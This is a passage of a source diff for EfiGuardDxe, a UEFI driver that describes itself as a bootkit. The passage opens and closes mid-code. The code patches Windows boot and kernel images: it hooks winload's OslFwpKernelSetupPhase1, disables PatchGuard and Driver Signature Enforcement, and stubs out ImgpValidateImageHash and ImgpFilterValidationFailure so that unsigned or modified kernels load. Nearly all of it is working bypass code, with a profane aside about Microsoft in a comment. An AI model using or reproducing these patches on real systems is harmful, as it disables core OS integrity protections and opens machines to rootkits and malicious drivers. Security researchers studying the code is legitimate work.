OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)CiInitialize) + { + JmpCiInitializeAddress = (VOID*)InstructionAddress; + break; + } + } + + Offset += Instruction.length; + } + + if (JmpCiInitializeAddress == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find 'jmp __imp_CiInitialize' import thunk.\r\n"); + return EFI_NOT_FOUND; + } + + // Make this the new 'IAT address' to simplify checks below + CiInitialize = JmpCiInitializeAddress; + } + + UINT8* LastMovIntoEcx = NULL; // Keep track of 'mov ecx, xxx' - the last one before call/jmp cs:__imp_CiInitialize is the one we want to patch + Length = PageSizeOfRawData; + Offset = 0; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(PageStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is a 2-byte (size of our patch) 'mov ecx, ' and store the instruction address if so + if (Instruction.operand_count == 2 && Instruction.length == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_MOV && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && Instruction.operands[0].reg.value == ZYDIS_REGISTER_ECX) + { + LastMovIntoEcx = (UINT8*)InstructionAddress; + } + else if ((BuildNumber >= 9200 && + ((Instruction.operand_count == 2 || Instruction.operand_count == 4) && + (Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_MEMORY && Instruction.operands[0].mem.base == ZYDIS_REGISTER_RIP) && + ((Instruction.mnemonic == ZYDIS_MNEMONIC_JMP && Instruction.operand_count == 2) || + (Instruction.mnemonic == ZYDIS_MNEMONIC_CALL && Instruction.operand_count == 4)))) + || + (BuildNumber < 9200 && + (Instruction.operand_count == 4 && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && Instruction.operands[0].imm.is_relative == ZYAN_TRUE && + Instruction.mnemonic == ZYDIS_MNEMONIC_CALL))) + { + // Check if this is + // 'call IMM:CiInitialize thunk' // E8 ?? ?? ?? ?? // Windows Vista/7 + // or + // 'jmp qword ptr ds:[CiInitialize IAT RVA]' // 48 FF 25 ?? ?? ?? ?? // Windows 8 through 10.0.15063.0 + // or + // 'call qword ptr ds:[CiInitialize IAT RVA]' // FF 15 ?? ?? ?? ?? // Windows 10.0.16299.0+ + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)CiInitialize) + { + SepInitializeCodeIntegrityMovEcxAddress = LastMovIntoEcx; // The last 'mov ecx, xxx' before the call/jmp is the instruction we want + PRINT_KERNEL_PATCH_MSG(L" Found 'mov ecx, xxx' in SepInitializeCodeIntegrity [RVA: 0x%X].\r\n", + (UINT32)(SepInitializeCodeIntegrityMovEcxAddress - ImageBase)); + break; + } + } + + Offset += Instruction.length; + } + + if (SepInitializeCodeIntegrityMovEcxAddress == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find SepInitializeCodeIntegrity 'mov ecx, xxx' pattern.\r\n"); + return EFI_NOT_FOUND; + } + + UINTN gCiEnabled = 0; + if (BuildNumber < 9200) + { + // On Windows Vista/7, find g_CiEnabled now because it's a few bytes away and we'll it need later + Length = 32; + Offset = 0; + + while ((InstructionAddress = (ZyanU64)(SepInitializeCodeIntegrityMovEcxAddress + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'mov g_CiEnabled, REG8' + if (Instruction.operand_count == 2 && + Instruction.mnemonic == ZYDIS_MNEMONIC_MOV && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_MEMORY && Instruction.operands[0].mem.base == ZYDIS_REGISTER_RIP && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_REGISTER) + { + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, (ZyanU64*)&gCiEnabled))) + { + PRINT_KERNEL_PATCH_MSG(L" Found g_CiEnabled at 0x%llX.\r\n", gCiEnabled); + break; + } + } + + Offset += Instruction.length; + } + + if (gCiEnabled == 0) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find g_CiEnabled.\r\n"); + return EFI_NOT_FOUND; + } + } + + PRINT_KERNEL_PATCH_MSG(L"== Disassembling PAGE to find nt!SeValidateImageData '%S' ==\r\n", + (BuildNumber >= 9200 ? L"mov eax, 0xC0000428" : L"cmp g_CiEnabled, al")); + UINT8 *SeValidateImageDataMovEaxAddress = NULL, *SeValidateImageDataJzAddress = NULL; + + // Start decode loop + Length = PageSizeOfRawData; + Offset = 0; + while ((InstructionAddress = (ZyanU64)(PageStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // On Windows >= 8, check if this is 'mov eax, 0xC0000428' (STATUS_INVALID_IMAGE_HASH) in SeValidateImageData + if ((BuildNumber >= 9200 && + (Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_MOV) && + (Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && Instruction.operands[0].reg.value == ZYDIS_REGISTER_EAX) && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && Instruction.operands[1].imm.value.s == 0xc0000428LL)) + { + // Exclude false positives: next instruction must be jmp rel32 (Win 8), jmp rel8 (Win 8.1/10) or ret + CONST UINT8* Address = (UINT8*)InstructionAddress; + CONST UINT8 JmpOpcode = BuildNumber >= 9600 ? 0xEB : 0xE9; + if (*(Address + Instruction.length) == JmpOpcode || *(Address + Instruction.length) == 0xC3) + { + SeValidateImageDataMovEaxAddress = (UINT8*)Address; + PRINT_KERNEL_PATCH_MSG(L" Found 'mov eax, 0xC0000428' in SeValidateImageData [RVA: 0x%X].\r\n", + (UINT32)(SeValidateImageDataMovEaxAddress - ImageBase)); + break; + } + } + // On Windows Vista/7, check if this is 'cmp g_CiEnabled, al' in SeValidateImageData + else if (BuildNumber < 9200 && + (Instruction.operand_count == 3 && Instruction.mnemonic == ZYDIS_MNEMONIC_CMP) && + (Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_MEMORY && Instruction.operands[0].mem.base == ZYDIS_REGISTER_RIP) && + (Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_REGISTER && Instruction.operands[1].reg.value == ZYDIS_REGISTER_AL)) + { + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == gCiEnabled) + { + // Verify the next instruction is jz, and store its address instead of the cmp, as we will be patching the jz + CONST UINT8* Address = (UINT8*)InstructionAddress; + if (*(Address + Instruction.length) == 0x74) + { + SeValidateImageDataJzAddress = (UINT8*)(Address + Instruction.length); + PRINT_KERNEL_PATCH_MSG(L" Found 'cmp g_CiEnabled, al' in SeValidateImageData [RVA: 0x%X].\r\n", + (UINT32)(Address - ImageBase)); + break; + } + } + } + + Offset += Instruction.length; + } + + if (SeValidateImageDataMovEaxAddress == NULL && SeValidateImageDataJzAddress == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find SeValidateImageData '%S' pattern.\r\n", + (BuildNumber >= 9200 ? L"mov eax, 0xC0000428" : L"cmp g_CiEnabled, al")); + return EFI_NOT_FOUND; + } + + // We have all the addresses we need; now do the actual patching. + // SepInitializeCodeIntegrity is only patched when using the 'nuke option' DSE_DISABLE_AT_BOOT. + if (BypassType == DSE_DISABLE_AT_BOOT) + *((UINT16*)SepInitializeCodeIntegrityMovEcxAddress) = 0xC931; // xor ecx, ecx + + // SeValidateImageData *must* be patched on Windows Vista and 7 regardless of the DSE bypass method. + // On Windows >= 8, again require DSE_DISABLE_AT_BOOT to do anything as it is otherwise harmless. + if (BuildNumber < 9200) + *SeValidateImageDataJzAddress = 0xEB; // jmp + else if (BypassType == DSE_DISABLE_AT_BOOT) + *(UINT32*)((UINT8*)SeValidateImageDataMovEaxAddress + 1 /*skip existing mov opcode*/) = 0x0; // mov eax, 0 + + if (BuildNumber >= 16299 && BypassType == DSE_DISABLE_AT_BOOT) + { + // We are on RS3 or higher. If we can find and patch SeCodeIntegrityQueryInformation, great. + // But DSE has been disabled at this point, so success will be returned regardless. + UINT8* Found = NULL; + CONST EFI_STATUS CiStatus = FindPattern(SigSeCodeIntegrityQueryInformation, + 0xCC, + sizeof(SigSeCodeIntegrityQueryInformation), + (VOID*)PageStartVa, // SeCodeIntegrityQueryInformation is in PAGE, so start there + PageSizeOfRawData, + (VOID**)&Found); + if (EFI_ERROR(CiStatus)) + { + PRINT_KERNEL_PATCH_MSG(L"\r\nFailed to find SeCodeIntegrityQueryInformation. Skipping patch.\r\n"); + } + else + { + CopyMem((VOID*)Found, (VOID*)SeCodeIntegrityQueryInformationPatch, sizeof(SeCodeIntegrityQueryInformationPatch)); + PRINT_KERNEL_PATCH_MSG(L"\r\nPatched SeCodeIntegrityQueryInformation [RVA: 0x%X].\r\n", (UINT32)(Found - ImageBase)); + } + } + + return EFI_SUCCESS; +} + +// +// Patches ntoskrnl.exe +// +EFI_STATUS +EFIAPI +PatchNtoskrnl( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] ntoskrnl.exe at 0x%llX, size 0x%llX\r\n", (UINTN)ImageBase, (UINTN)NtHeaders->OptionalHeader.SizeOfImage); + + // Print file and version info + UINT16 MajorVersion = 0, MinorVersion = 0, BuildNumber = 0, Revision = 0; + UINT32 FileFlags = 0; + EFI_STATUS Status = GetPeFileVersionInfo((VOID*)ImageBase, &MajorVersion, &MinorVersion, &BuildNumber, &Revision, &FileFlags); + if (EFI_ERROR(Status)) + { + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] WARNING: failed to obtain ntoskrnl.exe version info. Status: %llx\r\n", Status); + } + else + { + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] Patching ntoskrnl.exe v%u.%u.%u.%u...\r\n", MajorVersion, MinorVersion, BuildNumber, Revision); + + // Check if this is a supported kernel version. All versions after Vista SP1 should be supported. + // There is no "maximum allowed" version; e.g. 10.1, 11.0... are OK. Windows 10 is a whole three major versions higher than Windows 7, + // and the only real changes were an added spyware bundle and the removal of the classic theme. Seriously, fuck whoever did that + if (BuildNumber < 6001) + { + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] ERROR: Unsupported kernel image version.\r\n"); + return EFI_UNSUPPORTED; + } + + if ((FileFlags & VS_FF_DEBUG) != 0) + { + // Do not patch checked kernels. There is too much difference in PG and DSE initialization code due to missing optimizations. + // This is a moot point anyway because MS has stopped releasing checked OS builds or even kernels to common plebs (i.e. not Intel or Nvidia) + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] ERROR: Checked kernels are not supported.\r\n"); + return EFI_UNSUPPORTED; + } + } + + // Find the INIT and PAGE sections + PEFI_IMAGE_SECTION_HEADER InitSection = NULL, PageSection = NULL; + PEFI_IMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeaders); + for (UINT16 i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) + { + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem(SectionName, Section->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[MAX(sizeof("PAGE"), sizeof("INIT"))] = '\0'; // Null terminate so we don't match lookalikes like INITDATA and PAGEVRFY + + if (AsciiStrCmp(SectionName, "INIT") == 0) + InitSection = Section; + else if (AsciiStrCmp(SectionName, "PAGE") == 0) + PageSection = Section; + + Section++; + } + + ASSERT(InitSection != NULL); + ASSERT(PageSection != NULL); + + // Patch INIT section to disable PatchGuard + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] Disabling PatchGuard... [INIT RVA: 0x%X - 0x%X]\r\n", + InitSection->VirtualAddress, InitSection->VirtualAddress + InitSection->SizeOfRawData); + Status = DisablePatchGuard((UINT8*)ImageBase, + NtHeaders, + InitSection, + BuildNumber); + if (EFI_ERROR(Status)) + goto Exit; + + PRINT_KERNEL_PATCH_MSG(L"\r\n[PatchNtoskrnl] Successfully disabled PatchGuard.\r\n"); + + if (gDriverConfig.DseBypassMethod == DSE_DISABLE_AT_BOOT || + (BuildNumber < 9200 && gDriverConfig.DseBypassMethod != DSE_DISABLE_NONE)) + { + // Patch PAGE section to disable DSE at boot, or (on Windows Vista/7) to allow the SetVariable hook to be safely used more than once + PRINT_KERNEL_PATCH_MSG(L"[PatchNtoskrnl] %S... [PAGE RVA: 0x%X - 0x%X]\r\n", + gDriverConfig.DseBypassMethod == DSE_DISABLE_AT_BOOT ? L"Disabling DSE" : L"Ensuring safe DSE bypass", + PageSection->VirtualAddress, PageSection->VirtualAddress + PageSection->SizeOfRawData); + Status = DisableDSE((UINT8*)ImageBase, + NtHeaders, + PageSection, + gDriverConfig.DseBypassMethod, + BuildNumber); + if (EFI_ERROR(Status)) + goto Exit; + + if (gDriverConfig.DseBypassMethod == DSE_DISABLE_AT_BOOT) + PRINT_KERNEL_PATCH_MSG(L"\r\n[PatchNtoskrnl] Successfully disabled DSE.\r\n"); + } + +Exit: + return Status; +} diff --git a/EfiGuardDxe/PatchWinload.c b/EfiGuardDxe/PatchWinload.c new file mode 100644 index 0000000..1a37de4 --- /dev/null +++ b/EfiGuardDxe/PatchWinload.c @@ -0,0 +1,683 @@ +#include "EfiGuardDxe.h" + +#include +#include + +t_OslFwpKernelSetupPhase1 gOriginalOslFwpKernelSetupPhase1 = NULL; +UINT8 gOslFwpKernelSetupPhase1Backup[sizeof(gHookTemplate)] = { 0 }; + + +// Signature for winload!OslFwpKernelSetupPhase1+XX, where the value of XX needs to be determined by backtracking. +// Windows 10 only. On older OSes, and on Windows 10 as fallback, OslFwpKernelSetupPhase1 is found via xrefs to EfipGetRsdt +STATIC CONST UINT8 SigOslFwpKernelSetupPhase1[] = { + 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, // call BlpArchSwitchContext + 0x48, 0x8B, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, gBS + 0xCC, 0x8B, 0xCC, // mov rdx, XX + 0x48, 0x8B, 0x0D, 0xCC, 0xCC, 0xCC, 0xCC // mov rcx, EfiImageHandle +}; + +STATIC UNICODE_STRING ImgpFilterValidationFailureMessage = RTL_CONSTANT_STRING(L"*** Windows is unable to verify the signature of"); // newline, etc etc... + +// Signature for winload!BlStatusPrint. This is only needed if winload.efi does not export it (RS4 and earlier) +// Windows 10 only. I could find a universal signature for this, but I rarely need the debugger output anymore... +STATIC CONST UINT8 SigBlStatusPrint[] = { + 0x48, 0x8B, 0xC4, // mov rax, rsp + 0x48, 0x89, 0x48, 0x08, // mov [rax+8], rcx + 0x48, 0x89, 0x50, 0x10, // mov [rax+10h], rdx + 0x4C, 0x89, 0x40, 0x18, // mov [rax+18h], r8 + 0x4C, 0x89, 0x48, 0x20, // mov [rax+20h], r9 + 0x53, // push rbx + 0x48, 0x83, 0xEC, 0x40, // sub rsp, 40h + 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, // call BlBdDebuggerEnabled + 0x84, 0xC0, // test al, al + 0x74, 0xCC // jz XX +}; + + +NTSTATUS +EFIAPI +BlStatusPrintNoop( + IN CONST CHAR16 *Format, + ... + ) +{ + return 0xC00000BBL; // STATUS_NOT_SUPPORTED +} + +t_BlStatusPrint gBlStatusPrint = BlStatusPrintNoop; + +// +// Gets a loaded module entry from the boot loader's LoadOrderList +// +STATIC +PKLDR_DATA_TABLE_ENTRY +EFIAPI +GetBootLoadedModule( + IN LIST_ENTRY* LoadOrderListHead, + IN CHAR16* ModuleName + ) +{ + if (ModuleName == NULL || LoadOrderListHead == NULL) + return NULL; + + for (LIST_ENTRY* ListEntry = LoadOrderListHead->ForwardLink; ListEntry != LoadOrderListHead; ListEntry = ListEntry->ForwardLink) + { + // This is fairly heavy abuse of CR(), but legal C because (only) the first field of a struct is guaranteed to be at offset 0 (C99 6.7.2.1, point 13) + CONST PBLDR_DATA_TABLE_ENTRY Entry = (PBLDR_DATA_TABLE_ENTRY)BASE_CR(ListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + if (Entry != NULL && StrnCmp(Entry->KldrEntry.BaseDllName.Buffer, ModuleName, (Entry->KldrEntry.BaseDllName.Length / sizeof(CHAR16))) == 0) + return &Entry->KldrEntry; + } + return NULL; +} + +// +// winload.efi!OslFwpKernelSetupPhase1 hook to patch ntoskrnl.exe +// +EFI_STATUS +EFIAPI +HookedOslFwpKernelSetupPhase1( + IN PLOADER_PARAMETER_BLOCK LoaderBlock + ) +{ + // Restore the original function bytes that we replaced with our hook + CopyMem((VOID*)gOriginalOslFwpKernelSetupPhase1, gOslFwpKernelSetupPhase1Backup, sizeof(gOslFwpKernelSetupPhase1Backup)); + + UINT8* LoadOrderListHeadAddress = (UINT8*)&LoaderBlock->LoadOrderListHead; + if (gKernelPatchInfo.LegacyLoaderBlock) + { + // We are booting Vista or some other fossil, which means that our LOADER_PARAMETER_BLOCK declaration in no way matches what is + // actually being passed by the loader. Notably, the first four UINT32 fields are absent, so fix up the list entry pointer. + LoadOrderListHeadAddress -= FIELD_OFFSET(LOADER_PARAMETER_BLOCK, LoadOrderListHead); + } + + // Get the kernel entry from the loader block's LoadOrderList + CONST PKLDR_DATA_TABLE_ENTRY KernelEntry = GetBootLoadedModule((LIST_ENTRY*)LoadOrderListHeadAddress, L"ntoskrnl.exe"); + if (KernelEntry == NULL) + { + gKernelPatchInfo.Status = EFI_LOAD_ERROR; + PRINT_KERNEL_PATCH_MSG(L"[HookedOslFwpKernelSetupPhase1] Failed to find ntoskrnl.exe in LoadOrderList!\r\n"); + goto CallOriginal; + } + + VOID* KernelBase = KernelEntry->DllBase; + CONST UINT32 KernelSize = KernelEntry->SizeOfImage; + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = KernelBase != NULL && KernelSize > 0 + ? RtlpImageNtHeaderEx(KernelBase, (UINTN)KernelSize) + : NULL; + if (KernelBase == NULL || KernelSize == 0) + { + gKernelPatchInfo.Status = EFI_NOT_FOUND; + PRINT_KERNEL_PATCH_MSG(L"[HookedOslFwpKernelSetupPhase1] Kernel image at 0x%p with size 0x%lx is invalid!\r\n", KernelBase, KernelSize); + goto CallOriginal; + } + + // Patch the kernel + gKernelPatchInfo.KernelBase = KernelBase; + gKernelPatchInfo.Status = PatchNtoskrnl(KernelBase, + NtHeaders); + +CallOriginal: + // No error handling here (not a lot of options). This is done in the ExitBootServices() callback which reads the patch status + + // Call the original function to transfer execution back to winload!OslFwpKernelSetupPhase1 + return gOriginalOslFwpKernelSetupPhase1(LoaderBlock); +} + +// +// Patches ImgpValidateImageHash in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] to allow loading modified kernels and boot loaders. +// Failures are ignored because this patch is not needed for the bootkit to work +// +EFI_STATUS +EFIAPI +PatchImgpValidateImageHash( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // This works on pretty much anything really + ASSERT(FileType == WinloadExe || FileType == BootmgfwEfi || FileType == BootmgrEfi || FileType == WinloadEfi); + CONST CHAR16* ShortName = FileType == BootmgfwEfi ? L"bootmgfw" : (FileType == BootmgrEfi ? L"bootmgr" : L"winload"); + + CONST PEFI_IMAGE_SECTION_HEADER CodeSection = IMAGE_FIRST_SECTION(NtHeaders); + + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* CodeStartVa = ImageBase + CodeSection->VirtualAddress; + + Print(L"== Disassembling .text to find %S!ImgpValidateImageHash ==\r\n", ShortName); + UINT8* AndMinusFortyOneAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'and REG32, 0FFFFFFD7h' (only esi and r8d are used here really) + if (Instruction.operand_count == 3 && + (Instruction.length == 3 || Instruction.length == 4) && + Instruction.mnemonic == ZYDIS_MNEMONIC_AND && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && + Instruction.operands[1].imm.is_signed == ZYAN_TRUE && + Instruction.operands[1].imm.value.s == (ZyanI64)((ZyanI32)0xFFFFFFD7)) // Sign extend to 64 bits + { + AndMinusFortyOneAddress = (UINT8*)InstructionAddress; + break; + } + + Offset += Instruction.length; + } + + // Backtrack to function start + CONST UINT8* ImgpValidateImageHash = BacktrackToFunctionStart(AndMinusFortyOneAddress, CodeStartVa); + if (ImgpValidateImageHash == NULL) + { + Print(L" Failed to find %S!ImgpValidateImageHash%S.\r\n", + ShortName, (AndMinusFortyOneAddress == NULL ? L" 'and xxx, 0FFFFFFD7h' instruction" : L"")); + return EFI_NOT_FOUND; + } + + // Apply the patch + *((UINT32*)ImgpValidateImageHash) = 0xC3C033; // xor eax, eax, ret + + // Print info + Print(L" Patched %S!ImgpValidateImageHash [RVA: 0x%X].\r\n", + ShortName, (UINT32)(ImgpValidateImageHash - ImageBase)); + + return EFI_SUCCESS; +} + +// +// Patches ImgpFilterValidationFailure in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] +// Failures are ignored because this patch is not needed for the bootkit to work +// +EFI_STATUS +EFIAPI +PatchImgpFilterValidationFailure( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // This works on pretty much anything really + ASSERT(FileType == WinloadExe || FileType == BootmgfwEfi || FileType == BootmgrEfi || FileType == WinloadEfi); + CONST CHAR16* ShortName = FileType == BootmgfwEfi ? L"bootmgfw" : (FileType == BootmgrEfi ? L"bootmgr" : L"winload"); + + // Find .text and/or .rdata sections + PEFI_IMAGE_SECTION_HEADER PatternSection = NULL, CodeSection = NULL; + PEFI_IMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeaders); + for (UINT16 i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) + { + if (CompareMem(Section->Name, ".text", sizeof(".text") - 1) == 0) + CodeSection = Section; + if ((FileType == BootmgfwEfi || FileType == BootmgrEfi) && + CompareMem(Section->Name, ".text", sizeof(".text") - 1) == 0) // [bootmgfw|bootmgr].efi (usually) has no .rdata section, and starting at .text is always fine + PatternSection = Section; + else if ((FileType == WinloadExe || FileType == WinloadEfi) && + CompareMem(Section->Name, ".rdata", sizeof(".rdata") - 1) == 0) // For winload.[exe|efi] the string is in .rdata + PatternSection = Section; + Section++; + } + + ASSERT(PatternSection != NULL); + ASSERT(CodeSection != NULL); + + CONST UINT32 PatternStartRva = PatternSection->VirtualAddress; + CONST UINT32 PatternSizeOfRawData = PatternSection->SizeOfRawData; + CONST UINT8* PatternStartVa = ImageBase + PatternStartRva; + + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem((VOID*)SectionName, (VOID*)PatternSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME] = '\0'; + Print(L"\r\n== Searching for load failure string in %a [RVA: 0x%X - 0x%X] ==\r\n", + SectionName, PatternStartRva, PatternStartRva + PatternSizeOfRawData); + + // Search for the black screen of death string "Windows is unable to verify the integrity of the file [...]" + UINT8* IntegrityFailureStringAddress = NULL; + for (UINT8* Address = (UINT8*)PatternStartVa; + Address < ImageBase + NtHeaders->OptionalHeader.SizeOfImage - ImgpFilterValidationFailureMessage.MaximumLength; + ++Address) + { + if (CompareMem(Address, ImgpFilterValidationFailureMessage.Buffer, ImgpFilterValidationFailureMessage.Length) == 0) + { + IntegrityFailureStringAddress = Address; + Print(L" Found load failure string at 0x%llx.\r\n", (UINTN)IntegrityFailureStringAddress); + break; + } + } + + if (IntegrityFailureStringAddress == NULL) + { + Print(L" Failed to find load failure string.\r\n"); + return EFI_NOT_FOUND; + } + + CONST UINT32 CodeStartRva = CodeSection->VirtualAddress; + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* CodeStartVa = ImageBase + CodeStartRva; + + ZeroMem((VOID*)SectionName, sizeof(SectionName)); + CopyMem((VOID*)SectionName, (VOID*)CodeSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + Print(L"== Disassembling %a to find %S!ImgpFilterValidationFailure ==\r\n", SectionName, ShortName); + UINT8* LeaIntegrityFailureAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is "lea REG, ds:[rip + offset_to_bsod_string]" + if (Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_LEA && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && + Instruction.operands[1].mem.base == ZYDIS_REGISTER_RIP) + { + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[1], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)IntegrityFailureStringAddress) + { + LeaIntegrityFailureAddress = (UINT8*)InstructionAddress; + Print(L" Found load instruction for load failure string at 0x%llx.\r\n", (UINTN)LeaIntegrityFailureAddress); + break; + } + } + + Offset += Instruction.length; + } + + // Backtrack to function start + CONST UINT8* ImgpFilterValidationFailure = BacktrackToFunctionStart(LeaIntegrityFailureAddress, LeaIntegrityFailureAddress - Length); + if (ImgpFilterValidationFailure == NULL) + { + Print(L" Failed to find %S!ImgpFilterValidationFailure%S.\r\n", + ShortName, (LeaIntegrityFailureAddress == NULL ? L" load failure string load instruction" : L"")); + return EFI_NOT_FOUND; + } + + // Apply the patch + *((UINT32*)ImgpFilterValidationFailure) = 0xC3C033; // xor eax, eax, ret + + // Print info + Print(L" Patched %S!ImgpFilterValidationFailure [RVA: 0x%X].\r\n\r\n", + ShortName, (UINT32)(ImgpFilterValidationFailure - ImageBase)); + + return EFI_SUCCESS; +} + +// +// Finds OslFwpKernelSetupPhase1 in winload.efi +// +EFI_STATUS +EFIAPI +FindOslFwpKernelSetupPhase1( + IN CONST UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN PEFI_IMAGE_SECTION_HEADER CodeSection, + IN PEFI_IMAGE_SECTION_HEADER PatternSection, + IN BOOLEAN TryPatternMatch, + OUT UINT8** OslFwpKernelSetupPhase1Address + ) +{ + *OslFwpKernelSetupPhase1Address = NULL; + + CONST UINT8* CodeStartVa = ImageBase + CodeSection->VirtualAddress; + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* PatternStartVa = ImageBase + PatternSection->VirtualAddress; + + if (TryPatternMatch) + { + // On Windows 10, try simple pattern matching first since it will most likely work + UINT8* Found = NULL; + CONST EFI_STATUS Status = FindPattern(SigOslFwpKernelSetupPhase1, + 0xCC, + sizeof(SigOslFwpKernelSetupPhase1), + (VOID*)CodeStartVa, + CodeSizeOfRawData, + (VOID**)&Found); + if (!EFI_ERROR(Status)) + { + // Found signature; backtrack to function start + *OslFwpKernelSetupPhase1Address = BacktrackToFunctionStart(Found, Found - 0x400); + if (*OslFwpKernelSetupPhase1Address != NULL) + { + Print(L"\r\nFound OslFwpKernelSetupPhase1 at 0x%llX.\r\n", (UINTN)(*OslFwpKernelSetupPhase1Address)); + return EFI_SUCCESS; // Found; early out + } + } + } + + // On older versions, use some convoluted but robust logic to find OslFwpKernelSetupPhase1 by matching xrefs to EfipGetRsdt. + // This of course implies finding EfipGetRsdt first. After that, find all calls to this function, and for each, calculate + // the distance from the start of the function to the call. OslFwpKernelSetupPhase1 is reliably (Vista through 10) + // the function that has the smallest value for this distance, i.e. the call happens very early in the function. + CHAR8 